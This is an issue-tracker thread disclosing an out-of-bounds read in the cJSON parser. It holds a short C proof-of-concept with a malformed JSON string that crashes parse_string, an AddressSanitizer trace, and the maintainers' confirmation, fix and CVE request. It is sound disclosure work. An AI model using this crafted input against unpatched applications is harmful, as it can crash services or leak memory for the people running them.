cJSON buffer overflow with odd formatted JSON string

[marcograss]

Hi,

I would like to report a buffer overflow in cJSON, you can test this PoC with a ODD string

#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include "cJSON.h"

static const char *my_json = "\"000000000000000000\\";

int main(int argc, const char * argv[]) {
    cJSON * root = cJSON_Parse(my_json);
    char * rendered = cJSON_Print(root);
    printf("%s\n", rendered);
    return 0;
}

building it with ASAN will trigger a out of bound on the input string, which it can be problematic since in lot of use cases the JSON input to applications using cJSON is untrusted.

Thanks

Marco

==72479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0001000138d5 at pc 0x0001000062fb bp 0x7fff5fbff2a0 sp 0x7fff5fbff298
READ of size 1 at 0x0001000138d5 thread T0
#0 0x1000062fa in parse_string cJSON.c:198
#1 0x100001a01 in parse_value cJSON.c:366
#2 0x1000015bb in cJSON_ParseWithOpts cJSON.c:334
#3 0x100001dfa in cJSON_Parse cJSON.c:343
#4 0x10000e481 in main main.c:17
#5 0x7fff834bb5ac in start (libdyld.dylib+0x35ac)

0x0001000138d5 is located 0 bytes to the right of global variable '' defined in '/Users/marco/Downloads/cjsontest/cjsontest/main.c:14:30' (0x1000138c0) of size 21
'' is ascii string '"000000000000000000'
SUMMARY: AddressSanitizer: global-buffer-overflow cJSON.c:198 in parse_string
Shadow bytes around the buggy address:
0x1000200026c0: 02 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
0x1000200026d0: 05 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
0x1000200026e0: 03 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
0x1000200026f0: 00 f9 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
0x100020002700: 03 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x100020002710: 04 f9 f9 f9 f9 f9 f9 f9 00 00[05]f9 f9 f9 f9 f9
0x100020002720: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
0x100020002730: 06 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
0x100020002740: 05 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x100020002750: 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
0x100020002760: 05 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==72479==ABORTING

[FSMaxB]

I can confirm this. Looking into it right now.

[FSMaxB]

Fixed via 94df772

[fgeek]

CVE request: http://www.openwall.com/lists/oss-security/2016/11/07/2